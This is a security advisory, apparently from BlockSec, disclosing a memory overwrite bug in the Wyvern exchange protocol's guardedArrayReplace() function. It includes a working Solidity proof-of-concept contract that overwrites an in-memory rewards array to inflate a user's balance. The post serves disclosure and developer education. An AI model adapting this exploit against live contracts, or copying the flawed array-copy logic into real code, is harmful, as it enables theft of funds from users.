A New Memory Overwrite Vulnerability Discovered in Wyvern Protocol

Wyvern Protocol Vulnerability Alert: Potential for Exploit Leads to Security Concerns

A New Memory Overwrite Vulnerability Discovered in Wyvern Protocol

Introduction

Our vulnerability detection system found a memory overwrite vulnerability in the latest implementation of the Wyvern library, which belongs to the Wyvern decentralized exchange protocol that was previously used by OpenSea. This bug may lead to arbitrary storage write.

We have tried to contact the project (e.g., through Email and Social media), but got no response yet. As OpenSea has migrated to Seaport protocol, we believe it is safe to disclose the detailed information to the public. Besides, we’d like to share these findings to engage the community, as the bug itself is a little bit tricky, while the exploitation is quite interesting.

Description

The vulnerable code can be found in the official code repo with the commit hash 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9.

Specifically, this bug lies in the guardedArrayReplace() function of ArrayUtils.sol. As the name suggests, this function is used to selectively copy one dynamically-size byte array (i.e., the second parameter named desired) to another one (i.e., the first parameter named array). Note that this function is implemented to perform a word-level (i.e. 0x20 bytes) operation, hence the code logic can be divided into two steps based on the calculation result of the division.

For the quotient part (i.e., words = array.length / 0x20), the code logic from line 42 to line 49 will copy the desired array to the target array words by words. This step works as expected, though the assert statement in line 39 is useless due to the integer arithmetic.

After the previous step, if the division produces a remainder, it means there still exist some bytes left without being correctly copied. The code logic from line 52 to line 66 is designed to handle those bytes. Unfortunately, the if statement in line 52 mistakenly uses the quotient (words, i.e., array.length / 0x20) rather than the remainder (array.length % 0x20) to perform the check.

The severity

This bug may lead to arbitrary storage write. Suppose array.length is exactly divisible by 0x20, the copying operation is actually done in the loop logic. However, in most cases, the function will enter the vulnerable logic and try to copy a word behind the desired array to the target array, which inevitably causes an out-of-bounds access. Even worse, the incorrect logic could be exploited to overwrite a word to the end of the target array, which is an unknown memory area that can be of any use.

How to exploit this bug?

We have developed a PoC contract to illustrate the potential attack vector. The PoC contract has two functions, the first one named test() is used to perform the attack, while the second one is just the vulnerable guardedArrayReplace() function.

Specifically, in the test() function, we first define some in-memory bytes (a, b, and mask) and an array (i.e., _rewards). The _rewards defined here will be used to calculate the user’s rewards. After invoking the guardedArrayReplace() function to copy a to b with mask, _rewards will be added to the user’s balance (i.e., balances[msg.sender]).

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

Here we use Remix to demonstrate the result. It is worth noting that, initially we don’t assign any value to _rewards and balances. After the exploitation, the user balance is set to an extremely large value (as shown in the red rectangle).

Conclusion

Although rare, such a memory overwrite vulnerabilities may still exist in the smart contracts. Developers need to pay attention to the code logic that manipulates the memory.

About BlockSec

BlockSec is a pioneering blockchain security company established in 2021 by a group of globally distinguished security experts. The company is committed to enhancing security and usability for the emerging Web3 world in order to facilitate its mass adoption. To this end, BlockSec provides smart contract and EVM chain security auditing services, the Phalcon platform for security development and blocking threats proactively, the MetaSleuth platform for fund tracking and investigation, and MetaDock extension for web3 builders surfing efficiently in the crypto world.

To date, the company has served over 300 esteemed clients such as MetaMask, Uniswap Foundation, Compound, Forta, and PancakeSwap, and received tens of millions of US dollars in two rounds of financing from preeminent investors, including Matrix Partners, Vitalbridge Capital, and Fenbushi Capital.

Official website: https://blocksec.com/

Official Twitter account: https://twitter.com/BlockSecTeam

Sign up for the latest updates